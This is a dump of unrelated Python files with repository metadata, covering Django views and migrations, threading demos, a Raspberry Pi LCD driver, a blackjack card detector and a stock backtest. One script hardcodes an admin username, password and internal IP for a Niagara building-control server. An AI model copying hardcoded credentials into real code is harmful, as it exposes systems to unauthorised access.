f8b92c0480649e7154fd1f6fb3e4ac2f963021b5 | 1295c4018d4ccb4de25aa4f4c99aa23095ab0829 | /checkout/views.py | 9c6e72ad202c14d4ddd2988f8119fd85edaf475d | [] | no_license | Code-Institute-Submissions/MS4-4 | 14b9867a22e90b1abf62960546cf83450a841a93 | 2a17498e0ef0a5af424890ff702dcb3c1e22016a | refs/heads/master | 2023-02-25T11:40:25.276417 | 2021-01-30T20:22:26 | 2021-01-30T20:22:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,441 | py | from django.shortcuts import render, redirect, reverse, get_object_or_404, HttpResponse
from django.contrib import messages
from django.conf import settings
from django.views.decorators.http import require_POST
from bag.contexts import bag_contents
from .forms import OrderForm
from products.models import Product
from .... | [
"abel.yemane1@hotmail.co.uk"
] | abel.yemane1@hotmail.co.uk |
08521d4f4c6b159a23fcf6641bd832247fc7b260 | 91e50b62c99901bf3ca527664f6b47f191c1ffba | /main.py | c3d8079593c8c0410da1b58e8652525bb784af17 | [] | no_license | myronkwan/driveapidemo | 71d5d6dadb913adbdb54015b83d9046e280cba3d | 5f7a4ded4121f036d999a3c25a3dc2400efd062e | refs/heads/master | 2021-04-29T20:27:20.939165 | 2018-02-15T06:49:46 | 2018-02-15T06:49:46 | 121,598,282 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,051 | py | import webapp2
import httplib2
import os
from apiclient import discovery
from oauth2client.contrib.appengine import OAuth2DecoratorFromClientSecrets
SCOPES = 'https://www.googleapis.com/auth/drive.readonly'
CLIENT_SECRET = 'client_secret.json'
MAX_RESULTS=50
decorator=OAuth2DecoratorFromClientSecrets(os.path.join(os.... | [
"myronkwan@gmail.com"
] | myronkwan@gmail.com |
611d4762679b0fa7bc528a0bf1515549c0bb6062 | 1b48dcc9b7a4dc7debff78e65d55617d04b74495 | /chapter10_multThreading/thread_condition.py | aa54f3e62df175f4a546fb383c91a2b5a0544aeb | [] | no_license | beenlyons/python_supreme | 15ad7baabfab57e55ea1521b173e507420a18b9e | 3279aa8db52c7c8a1295f24a39d228df7f77ce43 | refs/heads/master | 2020-03-21T17:30:37.150525 | 2018-07-24T03:54:46 | 2018-07-24T03:54:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,026 | py | from threading import Condition, Lock
import threading
# 条件变量, 用于复杂的线程间同步
# class XiaoAi(threading.Thread):
# def __init__(self, lock):
# self.lock = lock
# super().__init__(name="xiaoAi")
# def run(self):
# self.lock.acquire()
# print("{} : 在".format(self.name))
# self.... | [
"1335682725@qq.com"
] | 1335682725@qq.com |
40c671b4b964f8a4f970e54ae2518d818bd8c8bd | 80ae9b5cfb45b6e9cf7873ef7c46e17e117e4019 | /data/CodeChef/HAND01.py | 6bd4e91e18b0489271a1a5f90c80e17e34ed505e | [] | no_license | Ritvik19/CodeBook | ef7764d89b790e902ede5802f36d5ca910d8a50e | 2b4ed7938bbf156553d6ba5cba6216449528f0fc | refs/heads/master | 2021-07-04T08:25:52.478719 | 2020-08-08T06:54:14 | 2020-08-08T06:54:14 | 138,744,302 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 889 | py | # Credits: Sir Isaac Newton is standing over a circle of radius 0.5641895835477563.
# Input
# The first line of the input contains an integer T denoting the number of test cases. The next T lines contain a string containing numbers and one or more special charters (?, !, %, $)
# Output
# For each test case, output a si... | [
"rastogiritvik99@gmail.com"
] | rastogiritvik99@gmail.com |
6877e435fb30ad86c4e0c717e331d73ce1d27808 | 38677f2dd9958c2ccf70a969b5bd04d0b1f3335e | /subscribeapp/migrations/0001_initial.py | db1322421082db1fb6825e8eaaefad8d1ddc7c83 | [] | no_license | kim1210/pragmatic | e448b244b3b85b9dd6c759c9b26dc699c09e6571 | 48cce684bbfafb7d33418b55c0a62e485a554419 | refs/heads/main | 2023-07-11T19:01:16.302753 | 2021-09-06T03:33:35 | 2021-09-06T03:33:35 | 401,574,007 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 998 | py | # Generated by Django 3.2.5 on 2021-08-22 03:20
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('projectapp', '0001_initial'),
migrations.swappable_dependency(s... | [
"69778811+kim1210@users.noreply.github.com"
] | 69778811+kim1210@users.noreply.github.com |
9cbbf2242cb0357db9e0f7d34f84ff7f817c1910 | 12e5b44d9c1fa162167fb709c4fcf9367e56d438 | /sequence problem.py | c575c14d7b73b137e1a5d9e75dcf1542187690d2 | [] | no_license | arunpandian17/python-problemsolving-programs | 347f0b2326b6089bd0684fc974274a40ca35cd08 | 092da0738fbb161e6348ba90d9d38030f1b30fb3 | refs/heads/main | 2023-05-29T20:16:57.792253 | 2021-06-21T04:00:04 | 2021-06-21T04:00:04 | 351,362,096 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,512 | py | '''In a Conference ,attendees are invited for a dinner after the conference.The Co-ordinator,Sagar arranged around round tables for dinner and want to have an impactful seating experience for the attendees.Before finalizing the seating arrangement,he wants to analyze all the possible arrangements.These are R round tabl... | [
"noreply@github.com"
] | noreply@github.com |
d11a3f34b20368fc4e56f68771beba0a10ab3fad | 2c802cef18037107a84da3b86987c00d6b5dfdd5 | /likeapi/urls.py | fe081f7e00c2d95165c81352a098b1261787640f | [] | no_license | ypyp66/api | 7c3165fae951347cd39a8de843a66fab307bbab3 | 2aaf3913fe466ef89822bb9e43299f00b4251c71 | refs/heads/master | 2022-11-21T11:24:16.041331 | 2020-07-21T09:53:56 | 2020-07-21T09:53:56 | 281,349,469 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 817 | py | """likeapi URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based... | [
"ypyp66@naver.com"
] | ypyp66@naver.com |
85a51ad7dc8750ab6d9a66bec400b2433c202821 | 368be25e37bafa8cc795f7c9f34e4585e017091f | /.history/app_fav_books/views_20201114172332.py | ae26a428bcd7b78a9862ed83d5fbd6fd90c986e0 | [] | no_license | steven-halla/fav_books_proj | ebcfbfda0e7f3cdc49d592c86c633b1d331da513 | 512005deb84ac906c9f24d4ab0939bd0db096716 | refs/heads/master | 2023-03-30T09:37:38.016063 | 2021-04-02T20:27:22 | 2021-04-02T20:27:22 | 354,125,658 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,847 | py | from django.shortcuts import render, redirect
from .models import *
from django.contrib import messages
def index(request):
return render(request, "index.html")
def register_New_User(request):
errors = User.objects.basic_validator(request.POST)
if len(errors) > 0:
for key, value in errors.items... | [
"69405488+steven-halla@users.noreply.github.com"
] | 69405488+steven-halla@users.noreply.github.com |
a67f20bd13b3a8195ac6cb023a7c043a24db7dd0 | 1d1e67a4e8ab7297fcfc5b2006179d89edfdcdba | /errorHandling.py | 487f742a17d099332abac4eaceed2fd34909b184 | [] | no_license | Westopher/pythonHelloWorld | a1da8eeaf39ad50d5f69bc65d4dd7bdbd0d88a9f | bfbd6765a60ce2f5a21cbcce764538b544ea1591 | refs/heads/master | 2020-09-21T07:36:51.072623 | 2019-12-31T11:11:57 | 2019-12-31T11:11:57 | 224,728,218 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 769 | py | """ try:
text = input("enter something --> ")
except EOFError:
print("You pressed ctrl + d")
except KeyboardInterrupt:
print("You pressed ctrl + c")
else:
print(f'You entered {text}') """
# You can create your own exception type
class ShortInputException(Exception):
def __init__(self, length, at... | [
"kraemerwest@gmail.com"
] | kraemerwest@gmail.com |
d6de0ed99a3fbb6e653dc32ec8f7251a0e43a3e5 | c4c53bf92abd5c7379fa692c09100bcc211c1810 | /calendarapp/urls.py | 9377f246355158c1e3241988a4f14801543b3682 | [] | no_license | Viscount-S/pCampus | 55dc35b66d978a704ca4b9ae5e22a8415bb91556 | a957fe98d7f358e97f652c7b7e98d6d7bab5e808 | refs/heads/master | 2022-12-13T01:18:46.614244 | 2020-02-27T20:07:51 | 2020-02-27T20:07:51 | 238,056,035 | 0 | 0 | null | 2022-12-05T10:43:27 | 2020-02-03T20:32:10 | HTML | UTF-8 | Python | false | false | 126 | py | from django.urls import path
from . import views
urlpatterns = [
path('calendar', views.calendarapp, name='calendar'),
] | [
"Homcom Computers@sugut-pc.SUGUT-PC"
] | Homcom Computers@sugut-pc.SUGUT-PC |
7f16d3558b5eb5538afecc6a5d7492ecb23afa50 | 5bbdd9b5c2f2c2f4915b2e1d32e742ce51dc5edb | /build/ardrone_command/cmake/ardrone_command-genmsg-context.py | 0f4b580f0195787a877dc0501c3e495c5647c286 | [] | no_license | crycrane/ardrone_panorama | a996ffefbd32e3be5bdf9d5cbebca65499820399 | 44d31430a5922183ebe026f59292b167dead8b4f | refs/heads/master | 2021-01-18T08:49:43.702222 | 2015-04-27T15:30:17 | 2015-04-27T15:30:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,174 | py | # generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/ghost/catkin_ws/src/ardrone_command/msg/altitude_control_state.msg;/home/ghost/catkin_ws/src/ardrone_command/msg/qr_orientation_control_info.msg;/home/ghost/catkin_ws/src/ardrone_command/msg/qr_go_to_point_control_info.msg;/home/ghost/catkin_ws/... | [
"ikopas@ncsu.edu"
] | ikopas@ncsu.edu |
72b45d601655388c1d9c349ed26de9ac8191f7c4 | d400763475defa081d8493183dbfbcb56b688f66 | /get_client_connected_info.py | b5c928fc21114221b96f9b6ec91221f9d21b2a1c | [] | no_license | linuxwayven/wlst_scripts | 901a0ea99bafb6e06feba9ea24962e3671995d2d | 17ec0a2bcba1e646346a53920e285f40a7621fbd | refs/heads/master | 2020-09-12T21:05:39.211195 | 2015-06-16T15:48:14 | 2015-06-16T15:48:14 | 36,936,988 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,610 | py | ################################ DESCRIPTION ##################################
# Description: Get clients connected info.
#
# Author: Jesus A . Ruiz - linuxwayven@gmail.com.
# Place: Caracas - Venezuela - Oracle de Venezuela
# Date: 05/06/2015
#
# History
# 05/06/2015 The Begin V1.0
#
# Quota: The Key to gro... | [
"linuxwayven@gmail.com"
] | linuxwayven@gmail.com |
63f1c26ff5ab2a139d219ec741d15abd32daa59e | 58a14a13ccc948fe21082bb5df3a65b0ff6f5e81 | /dynamic_forms/models.py | bb337ff7fbd7edb6ed51e0af0e03ea9fcf8798ec | [
"BSD-3-Clause"
] | permissive | cheluis/django-dynamic-forms | 38dce222f17d18a45794cca904a6c18b7a721595 | c6555714d0acc1e732c245d1983b217be6590433 | refs/heads/master | 2020-12-27T12:15:37.247627 | 2015-04-09T13:12:50 | 2015-04-09T13:12:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,879 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import json
try: # pragma: no cover
from collections import OrderedDict
except ImportError: # pragma: no cover
from django.utils.datastructures import SortedDict as OrderedDict
from django.db import models
try: # pragma: no cover
from dj... | [
"info@markusholtermann.eu"
] | info@markusholtermann.eu |
c13f6dc99a03dab5e334de7dcebf94178220e195 | 0c15a41a61386ea186db7b188ec550ff4ce426f9 | /python crash course testing/chapter 10/pi_string.py | 34d1c4a56ddd54a63e470653403cbc7bd0985c1c | [] | no_license | kyle10n/Python_Code_Examples | 0987299caee9497b5b112b30541297ed1ea5ff5d | e43c2fb7bd3df6912692aa79c6444e433282e382 | refs/heads/master | 2021-09-08T02:04:35.970000 | 2018-03-05T21:19:44 | 2018-03-05T21:19:44 | 114,137,103 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 478 | py | filename = 'pi_million_digits.txt'
with open(filename) as file_object:
lines = file_object.readlines()
pi_string = ''
for line in lines:
pi_string += line.strip()
print(pi_string[:52] + "...")
print(len(pi_string))
birthday = input("enter your birthady, in the form mmddyy: ")
if birthday in pi_string:
... | [
"kyle.tenn@gavagai.se"
] | kyle.tenn@gavagai.se |
8e559598071a54f18e8b5b49476b09087984d51e | dfe4d9f6b09109b22e76069b0f6e56993165e91d | /camp-python-2021-find-me-develop/apps/users/apps.py | 00812dc9a1174718ab09f30466d4af9874f10952 | [] | no_license | rhanmar/oi_projects_summer_2021 | ef6b06e003a1c54583df4b006d141df924adeafb | 0879ade24685b628624dce06698f8a0afd042000 | refs/heads/main | 2023-08-25T04:02:46.284756 | 2021-09-17T03:29:16 | 2021-09-17T03:29:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _
from watson import search as watson
class UsersAppConfig(AppConfig):
"""Default configuration for Users app."""
name = "apps.users"
verbose_name = _("Users")
def ready(self):
# pylint: disable=unused-imp... | [
"dimontura@yandex.ru"
] | dimontura@yandex.ru |
2e4f86b82f95b90c80d1725615e2996fdb2cb164 | 9c3765dba0b249eb0a8da92076d2ae01291fc0e7 | /not_done/py_not_started/euler_392.py | 498d71d4902d7af330f192be8c5b3f979bc95492 | [] | no_license | saetar/pyEuler | 3a021f95a1856775bef87b38c753049b04282b80 | f0af7092e16c2109028b4b1aa5bed7a0057d3fe9 | refs/heads/master | 2020-03-21T12:05:15.430454 | 2018-06-15T03:50:50 | 2018-06-15T03:50:50 | 138,535,115 | 0 | 0 | null | 2018-06-25T02:40:43 | 2018-06-25T02:40:42 | null | UTF-8 | Python | false | false | 1,342 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# ~ Jesse Rubin ~ project Euler ~
"""
Enmeshed unit circle
http://projecteuler.net/problem=392
A rectilinear grid is an orthogonal grid where the spacing between the gridlines does not have to be equidistant.
An example of such grid is logarithmic graph paper.
Consider rect... | [
"jessekrubin@gmail.com"
] | jessekrubin@gmail.com |
87a28906bf262b3ed3cde18e476c90527c97d21d | f4cdc327e70bb55d1f93658bf684df1103fe3102 | /homework/homework4-1/database.py | 45bc49a0ec0e37e82acb990f0ff83c90688a4ede | [] | no_license | JaeHyunL/hhomework2020 | 0e33bf225a04ad021d60a32d0f4d0a85c84c1782 | 9e74f2522c334be014d218a8bee0e7d8f95ee960 | refs/heads/master | 2022-11-05T16:57:56.129658 | 2020-06-17T05:46:35 | 2020-06-17T05:46:35 | 247,891,708 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,017 | py |
import pymysql
import os
class Database():
# 생성자
def __init__(self):
self.db = pymysql.connect(
host=os.getenv('FLASK_DB'),
user='root',
password='password',
db='homework4',
charset='utf8'
)
self.cursor = self.db.cursor(pymy... | [
"swaa23@gmail.com"
] | swaa23@gmail.com |
faf74a9ad2c119ade6c55dcc7ad6f4ad53c05016 | b31460b2eac7ae0cc5a20c63cedc8fb92d707e0f | /Exercises_3/decay_backward2step.py | f1e035c7dd21b6151e05ef7bf1bc9587c15d4d58 | [] | no_license | soranhm/IN5270 | 101cdab1fefe33728d247b53287f265c0d161f6a | 7a2053b9e6399f6ffe961a445d425e7f2f3284a6 | refs/heads/master | 2022-11-21T10:53:04.144119 | 2020-07-19T13:21:02 | 2020-07-19T13:21:02 | 280,869,220 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 564 | py | from numpy import *
def solver(I, a, T, dt, theta):
"""Solve u'=-a*u, u(0)=I, for t in (0,T] with steps of dt."""
dt = float(dt) # avoid integer division
Nt = int(round(T/dt)) # no of time intervals
T = Nt*dt # adjust T to fit time step dt
u = zeros(Nt+1) # ... | [
"soran1994@hotmail.no"
] | soran1994@hotmail.no |
66787b02b88c33936e53d8446672af45ffae2d0b | 05bbb6058c6e6ef3515116bcdba99a4750d3e418 | /cms/migrations/0012_wallet.py | 01ddbba1de5f5af0086b4cfd431218832c147a33 | [] | no_license | kohei25/onacu | 93906c8b3d893eb130ad794e27bab240bef6585d | c500dc90833cca84aafdff0ab8c9560628c19a45 | refs/heads/master | 2023-06-01T00:10:46.228902 | 2021-07-05T02:36:04 | 2021-07-05T02:36:04 | 260,828,723 | 1 | 0 | null | 2020-05-23T04:23:17 | 2020-05-03T04:35:46 | Python | UTF-8 | Python | false | false | 697 | py | # Generated by Django 2.2.12 on 2020-05-27 00:11
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('cms', '0011_auto_20200526_0153'),
]
operations = [
migrations.CreateModel... | [
"nicodoteng@gmail.com"
] | nicodoteng@gmail.com |
c1c43749e595cf6a57cc088fa35fc2b4488df613 | 7faa0f82f332d4e44e6e7435808eb8b8e936c52b | /random_num.py | 5cdb193926514bd42e3bce5e27093e410fe94557 | [] | no_license | NotSteveWozniak/python-snippets | a4282a5bb31f8164f40127d42a6b79e81df8e8d2 | 4c6fa689dbac1b2dc8ca9de40633872b0d99467c | refs/heads/master | 2020-05-21T13:20:34.492641 | 2019-05-16T00:09:55 | 2019-05-16T00:09:55 | 186,069,324 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 86 | py | #!/usr/bin/python3
import random
for x in range(10):
print (random.randint(1,101)) | [
"noreply@github.com"
] | noreply@github.com |
dbded5322d0c680889dc741c7d78b051e6b62b14 | 111af629e9f1462df52290336e6cefe9d3510210 | /i2c_lcd_raspberrypi_module.py | 9a8e9210e614674a7c97518e18b10d637a18da32 | [] | no_license | anilaras/RaspberryPi-i2c-lcd-module | f6b30cc78ebc0286fd195c3fb594920679f9f39e | bcc148fc9225bdd7ca67be2d701ea4c59184f849 | refs/heads/master | 2020-03-21T19:13:33.706054 | 2018-06-27T21:56:27 | 2018-06-27T21:56:27 | 138,936,271 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,895 | py | import smbus
import time
import os
# Define some device parameters
I2C_ADDR = 0x27 # I2C device address, if any error, change this address to 0x3f
LCD_WIDTH = 16 # Maximum characters per line
# Define some device constants
LCD_CHR = 1 # Mode - Sending data
LCD_CMD = 0 # Mode - Sending command
LCD_LINE_1 = 0x80 # L... | [
"noreply@github.com"
] | noreply@github.com |
31be72f47f8097ba9df421e724f210ac08707884 | 602a4e86499841fbae43d84fc92908c533106aea | /core/forms.py | 92edcd63936e84acef0f101ba7523413660abe6f | [] | no_license | vden/TsoguNG | b187ccf1bef387417ec73467c51458d6f1443239 | f8d5e7ab9d85559aa163c232c9f28a24a2b7c2a4 | refs/heads/master | 2021-01-02T08:52:03.914218 | 2011-04-26T07:01:57 | 2011-04-26T07:01:57 | 1,663,546 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,173 | py | # -*- coding: utf-8 -*-
from django import forms
from core.fields import CalendarDateField
from django.contrib.admin import widgets as admin_widgets
from core import models
from datetime import datetime
def extra_form_factory(type):
class BaseExtraForm(forms.ModelForm):
time_choices = [('None',u'не задано')] + [(... | [
"denis.voskvitsov@gmail.com"
] | denis.voskvitsov@gmail.com |
fa85b8e98793f9af87018e3b35867cd56041a453 | 2e16cdb2211d1cbe183f5c4dffa273bc71d6c3ef | /flexible_player.py | 1ac3b35a3615c238e3b561c126981e8a1f322cc5 | [] | no_license | Antiochian/tic-tac-toe-AIs | 4e2b09d58191b5b90a83d4ac1007d2f299aace56 | 5b6fd95a5b5440d9419da6fad1d4a4a552bc0c3b | refs/heads/master | 2021-03-07T03:32:59.274705 | 2020-03-11T23:46:43 | 2020-03-11T23:46:43 | 246,243,655 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,367 | py | # -*- coding: utf-8 -*- python3
"""
Created on Tue Mar 10 05:03:18 2020
@author: Antiochian
"""
# -*- coding: utf-8 -*- python3
"""
Created on Tue Mar 10 04:08:48 2020
@author: Antiochian
"""
import random
class Flexible_Player:
"""Combination of both defensive and aggressive AIs"""
def __init__(self,name):... | [
"53316182+Antiochian@users.noreply.github.com"
] | 53316182+Antiochian@users.noreply.github.com |
675e4520e682b15d346b813fa6be085f60157b9a | 16fd2b44bdcf362cf5e06519977cd351c4e9c429 | /savedcardDetector.py | 1df675dc664a35c08a4d3cf3c61f98b5882259e9 | [] | no_license | ChristopherTichborne/Automatic-Blackjack-System | 3c9cf4068b3c9079198d06332755a027b52ed542 | 5730dd2f661ec7e07ccd0723c1996a8ac8f5ac0a | refs/heads/main | 2023-04-20T05:09:41.004165 | 2021-05-14T00:32:33 | 2021-05-14T00:32:33 | 367,207,315 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,848 | py | ############## Python-OpenCV Playing Card Detector ###############
#
# Description: Python script to detect and identify playing cards
# from a PiCamera video feed.
#
# Import necessary packages
import cv2
import numpy as np
import time
import os
import Cards
import VideoStream
import Basic_Strategy
... | [
"noreply@github.com"
] | noreply@github.com |
5fa589d9a038fcbb13e019a6129a02a94b582d64 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_2751486_0/Python/axr123/a.py | 49363e53c0937f442e2efd0decfa7c6a90f1f400 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 605 | py | import sys
vowels = 'aeiou'
def concons(str):
maxN = 0
n = 0
for l in str:
if l in vowels:
if n > maxN: maxN = n
n = 0
else:
n += 1
if n > maxN: maxN = n
return maxN
def solve(name, n):
count = 0
for s in range(len(name... | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
bd79a720cdbe7127a3ecda9096d03a613363b99b | 796238466a6dec535a389ca714e1f82533fa1b07 | /l10n_mx_edi_iedu/__manifest__.py | 6eec94e8b8caa7b2e32d423dad70edf3af9eb05c | [] | no_license | tate11/quemendev | b953f0e9247d1c94eeb0b5849060aba060ea8450 | b57f714b83d55110003998c7ad276e5076c7ecd8 | refs/heads/master | 2022-11-25T01:38:11.318956 | 2020-07-30T16:24:05 | 2020-07-30T16:24:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 769 | py | # Part of Odoo. See LICENSE file for full copyright and licensing details.
# Copyright 2017 Vauxoo (https://www.vauxoo.com) <info@vauxoo.com>
{
'name': "EDI Educational Institutions (IEDU) Complement "
"for the Mexican Localization",
'version': '13.0.1.0.0',
'author': 'Vauxoo',
'category': '... | [
"fredyreyesorantes@gmail.com"
] | fredyreyesorantes@gmail.com |
47e588e7c429cf9a9c1d10db3d2ef25f983ed712 | 2850d9adba96bc4e73185de5d6adebf363a5c534 | /tce/tcloud/cvm/AssociateSecurityGroups.py | 11d8e5ca52a09b8e0e312396bb00ee9dfb7bb036 | [
"Apache-2.0"
] | permissive | FatAnker/tencentcloud-sdk-python | d8f757b12ad336e78a06b68a789ecc3c86d1d331 | d6f75a41dc7053cb51f9091f4d41b8cb7a837559 | refs/heads/master | 2020-04-30T22:34:16.740484 | 2019-04-28T11:14:11 | 2019-04-28T11:14:11 | 177,122,691 | 0 | 1 | null | 2019-03-22T10:46:01 | 2019-03-22T10:46:01 | null | UTF-8 | Python | false | false | 1,971 | py | # -*- coding: utf-8 -*-
import os
from tencentcloud.common import credential
from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException
# 导入对应产品模块的client models。
from tencentcloud.cvm.v20170312 import cvm_client, models
import json
# 导入可选配置类
from tencentcloud.common.profile.client_p... | [
"1113452717@qq.com"
] | 1113452717@qq.com |
898393d99b9c0f01c0f134d4e897f109cd4847f1 | 605cdd05b391f6bdae8fef3ca4d2f9111b592601 | /wrong_code.py | 3c36f87ac6360118c21f137853a48b2b76776f05 | [] | no_license | learningdevthink/study_reader | 537bfe1610d27681d38184e3f12539208369fb21 | 7a5a934f514711911f78d0230e10c82070358494 | refs/heads/master | 2022-02-17T21:16:58.416115 | 2019-09-03T02:24:13 | 2019-09-03T02:24:13 | 198,218,584 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 456 | py | def scope_test():
def do_local():
spam = "local spam"
def do_nonlocal():
nonlocal spam
spam = "nonlocal spam"
def do_global():
global spam
spam = "global spam"
spam = "test spam"
print("After local assignment:", spam)
do_nonlocal()
print("Af... | [
"kkokey@gmail.com"
] | kkokey@gmail.com |
f0d613a18cb509044f80b9c8d251f5272ddab9a2 | 611e3ea5595e825d7cd560067906a45f9968e2c6 | /Treasuregram/Treasuregram/urls.py | 0dca6246fda1f1f79381f7d045d423d80474d499 | [] | no_license | stulsani/TreasuregramApp | 1f29494b3874e309392e13c4a5786fe05c6cc189 | a1dcfef61a2a12c8312e0d9d38f293b9a247a2a9 | refs/heads/master | 2021-01-01T15:34:43.561387 | 2017-07-18T23:47:04 | 2017-07-18T23:47:04 | 97,652,152 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 846 | py | """Treasuregram URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Cla... | [
"sumeettulsani1@gmail.com"
] | sumeettulsani1@gmail.com |
c12d8a3717648e007e9abc3dc9d63a711c4d0582 | b864232c0133738e329e61ca74188c8eafe74108 | /misc/experiment/distortion/main.py | 80b7d04914341bb72e17df1ec3410fc3387e5877 | [] | no_license | QilinGu/tf-face-recognizer | 0b16af8225d4e3bd67b0bd2df3005b5f1a3a7f35 | d1092b72d01f08a7bbfb2f30072a60b8d8409804 | refs/heads/master | 2021-01-09T06:40:30.678375 | 2017-02-03T17:57:21 | 2017-02-03T17:57:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,419 | py | import os
import tensorflow as tf
def main(argv=None):
with open(os.path.join(os.path.dirname(__file__), 'face.png'), 'rb') as f:
png = f.read()
image = tf.image.decode_png(png, channels=3)
begin, size, _ = tf.image.sample_distorted_bounding_box(
tf.shape(image),
[[[8.0/112.0, 8.0... | [
"sugi1982@gmail.com"
] | sugi1982@gmail.com |
0cd540dda8cc7ef3d8d99c7cb7f5e483c35b8af9 | 86d433bf5aa9d681750d14a0bbbe87fabfcad867 | /scripts/train.py | e231f332da42698891641f2fdd890c59328eefba | [] | no_license | QiliangFan/NoduleDetection | 1e678f1fcab485e0ae988565443ae1093c2c361d | 72ce6a6ae2baec849355ed21ba227357215a0300 | refs/heads/master | 2023-06-02T00:15:24.536032 | 2021-05-16T04:25:11 | 2021-05-16T04:25:11 | 345,281,589 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,067 | py | from argparse import ArgumentParser
def get_arg():
arg_parser = ArgumentParser()
# program parameter
arg_parser.add_argument("--network", type=str, default=None, required=True, help="the network to be used")
arg_parser.add_argument("--name", type=str, default="default_name", required=False, help="the ... | [
"1035847702@qq.com"
] | 1035847702@qq.com |
826170941c244a6ad5daa94ed496f01dce1eaa18 | 149b95615c17c9f8b540e545c38fdee267268c14 | /sqlalchemy_example.py | d1397279ce7f18ee5a0573fc40a85e76688ddb83 | [] | no_license | pysprings/database-talk | e7393796540e68af4e65ddcceafddab0e39f885c | cb0eff41501f6646b9481a1b6287c9afd4c2f466 | refs/heads/master | 2020-03-20T03:24:53.682425 | 2018-06-13T01:16:44 | 2018-06-13T01:16:44 | 137,145,499 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,218 | py | from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, String, Integer, create_engine
from sqlalchemy.orm import sessionmaker
base = declarative_base()
class RolodexEntry(base):
__tablename__ = 'rolodex'
id = Column(Integer, primary_key=True)
first_name = Column(String)
... | [
"ryan.freckleton@gmail.com"
] | ryan.freckleton@gmail.com |
786c90439405bff4291244ba082293231c00313f | 3948b784381b2fdd4ebbc6efc4206d7338767e02 | /unused/draft.py | ed3610cf131216f4d929c95cb719de680ff8fc5b | [] | no_license | Rainhunter13/SungHan-Intern | 933a69c5058f958bf0741608b1dcf9e731aaa49a | 7c61cf94e1d59312b943ec2eb55c0e7f7406dff8 | refs/heads/master | 2020-12-23T12:51:24.192870 | 2020-02-07T01:28:50 | 2020-02-07T01:28:50 | 237,122,701 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 652 | py | import requests
from pyhaystack.client.niagara import Niagara4HaystackSession
uri1 = "http://192.168.0.198/"
username = "admin"
password = "adminMngr12345!"
import time
session = Niagara4HaystackSession(uri=uri1, username=username, password=password, pint=True)
op = session.authenticate()
op.wait()
print(op.jsession)... | [
"rakhmandva@gmail.com"
] | rakhmandva@gmail.com |
d2b2174e73b36e68e901b50f04b5867c822b1aa3 | dd96dde5cb50b0a73ee3aa6c0c5694f502f63a4f | /ZH_backtest.py | 06d4ff0799361f3be2c18bab951de2ab6beb7f8e | [] | no_license | huning2009/ZH_Backtest | 51a168ebdc7f96a7ad9c70cede7693ae920f9573 | 1c4988841c259f95ea4249d90b4ed172f0cc4764 | refs/heads/master | 2021-05-23T08:47:41.978578 | 2019-05-28T13:35:58 | 2019-05-28T13:35:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,778 | py | #!/usr/bin/env python
# coding: utf-8
# In[1]:
import os
import numpy as np
import pandas as pd
# pd.set_option('max_rows', 10)
# pd.set_option('precision', 4)
import matplotlib.pyplot as plt
# plt.style.use('classic')
# # IC 分析
# In[ ]:
# # 计算下单目标 weight
# ## 因子加权
# In[2]:
def scale(seri, demean=False... | [
"noreply@github.com"
] | noreply@github.com |
